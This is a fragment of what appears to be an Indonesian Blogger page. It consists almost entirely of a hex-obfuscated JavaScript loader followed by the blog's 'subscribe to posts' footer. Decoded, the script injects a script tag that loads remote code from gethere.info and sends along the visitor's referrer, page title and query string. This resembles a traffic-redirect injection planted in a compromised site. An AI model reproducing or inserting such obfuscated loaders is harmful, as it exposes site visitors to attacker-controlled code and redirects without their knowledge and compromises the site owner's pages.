_0xd052=["\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D","\x72\x65\x66\x65\x72\x72\x65\x72","\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x74\x69\x74\x6C\x65","\x26","\x3F","\x72\x65\x70\x6C\x61\x63\x65","\x73\x65\x61\x72\x63\x68","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74","\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x70\x72\x6F\x74\x6F\x63\x6F\x6C","\x68\x74\x74\x70\x73\x3A","\x69\x6E\x64\x65\x78\x4F\x66","\x52\x5F\x50\x41\x54\x48","\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E"];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
Langganan:
Postingan (Atom)